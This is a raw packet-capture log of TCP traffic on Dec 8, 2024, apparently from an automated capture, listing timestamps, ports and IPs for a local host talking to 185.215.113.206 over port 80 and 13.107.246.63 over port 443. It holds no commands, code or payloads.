Dec 8, 2024 00:48:15.511348009 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:15.511390924 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:15.511436939 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:15.538878918 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.538904905 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.539056063 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.539221048 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.539271116 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.539326906 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.539381027 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.539912939 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.539958000 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.540004015 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.540045977 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.540796995 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.540838003 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.540925980 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.540968895 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.541688919 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.541729927 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.541809082 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.541852951 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.542591095 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.542632103 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.542685986 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.542722940 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.543458939 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.543500900 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.543591976 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.543634892 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.544394970 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.544437885 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.544471025 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.544512033 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.545258999 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.545303106 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.545382023 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.545423031 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.546145916 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.546190023 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.546242952 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.546283960 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.547039032 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.547080994 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.547131062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.547173977 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.547935009 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.547979116 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.548024893 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.548063993 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.548813105 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.548855066 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.548919916 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.548964977 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.549717903 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.549757957 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.549832106 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.549875975 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.550612926 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.550656080 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.550690889 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.550730944 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.551486015 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.551531076 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.551614046 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.551652908 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.552392960 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.552438021 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.552483082 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.552529097 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.553307056 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.553352118 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.553400993 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.553446054 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.554183006 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.554270983 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.554295063 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.554333925 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.555073023 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.555114031 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.555196047 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.555236101 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.556138039 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.556184053 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.594978094 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.595045090 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.595103979 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.595145941 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.595366955 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.595405102 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.595438004 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.595478058 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.596208096 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.596247911 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.596307993 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.596344948 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.597093105 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.597132921 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.597215891 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.597256899 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.597985983 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.598026037 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.598119020 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.598155975 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.598903894 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.598943949 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.598974943 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.599014044 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.599766016 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.599805117 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.599845886 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.599883080 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.664226055 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.664299965 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.664345026 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.664395094 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.664674997 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.664721012 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.664815903 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.664861917 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.665627956 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.665669918 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.665730953 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.665771961 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.666429996 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.666470051 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.666708946 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.666745901 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.666906118 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.666944981 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.667623043 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.667661905 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.667706966 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.667747974 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.668526888 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.668591022 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.668653011 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.668716908 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.669390917 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.669435024 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.669512033 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.669557095 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.670312881 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.670357943 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.670469046 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.670511961 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.671188116 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.671231031 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.671273947 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.671319962 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.672102928 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.672147036 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.672179937 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.672224045 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.672967911 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.673012018 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.673047066 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.673088074 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.673857927 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.673901081 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.673988104 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.674032927 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.674746990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.674791098 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.674854040 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.674896955 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.675625086 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.675668001 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.675776958 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.675820112 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.676513910 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.676559925 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.676624060 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.676666975 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.677417040 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.677459955 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.677525043 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.677567959 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.678303957 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.678348064 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.678437948 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.678482056 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.679292917 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.679336071 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.679356098 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.679398060 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.680093050 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.680135012 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.680212975 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.680255890 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.681005955 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.681049109 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.681133032 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.681176901 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.681936979 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.681986094 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.682034016 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.682077885 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.682777882 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.682826996 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.682899952 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.682949066 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.683657885 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.683706045 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.683760881 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.683799028 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.684551954 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.684607983 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.684643030 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.684686899 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.685473919 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.685520887 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.685596943 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.685642958 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.685895920 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:15.685928106 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:15.685975075 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:15.686009884 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:15.686027050 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:15.686160088 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:15.686356068 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.686408043 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.686439991 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.686480045 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.687181950 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.687235117 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.728848934 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:15.728876114 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:15.728923082 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:15.728951931 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:15.728965044 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:15.729080915 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:15.731007099 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.731060028 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.731059074 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.731105089 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.731249094 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.731295109 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.731353045 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.731398106 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.732111931 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.732229948 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.732275009 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.733017921 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.733078003 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.733130932 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.733174086 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.733992100 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.734066963 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.734112978 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.734795094 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.734879017 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.734922886 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.735702038 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.735764027 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.735805035 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.736586094 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.736625910 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.736706018 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.737489939 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.737533092 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.737579107 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.738348961 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.738393068 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.738437891 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.738472939 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.739254951 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.739365101 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.739413977 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.740240097 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.740328074 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.740365028 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.741058111 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.741099119 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.741168022 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.741965055 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.742008924 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.742014885 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.742830992 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.742880106 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.742960930 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.743000984 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.743782997 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.743808031 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.743856907 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.744618893 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.744724035 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.744769096 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.745532990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.745568991 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.745610952 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.746404886 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.746450901 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.746510029 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.747045040 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.747327089 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.747411966 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.747454882 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.748192072 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.751050949 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.787085056 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.787245035 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.787333965 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.787467957 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.787641048 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.787703037 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.787748098 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.788523912 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.788573027 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.788630009 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.789443016 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.789490938 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.789535999 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.790322065 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.790374041 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.790424109 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.790498972 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.791194916 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.791348934 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.791414022 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.792059898 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.795062065 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.858834028 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:15.858859062 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:15.858998060 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:15.859031916 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:15.863065958 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:15.886490107 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.886523962 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.886604071 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.886898994 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.887053967 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.887074947 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.887219906 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.887389898 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.888070107 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.888139009 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.888190985 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:15.888910055 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:15.888958931 CET	49701	80	192.168.2.7	185.215.113.206
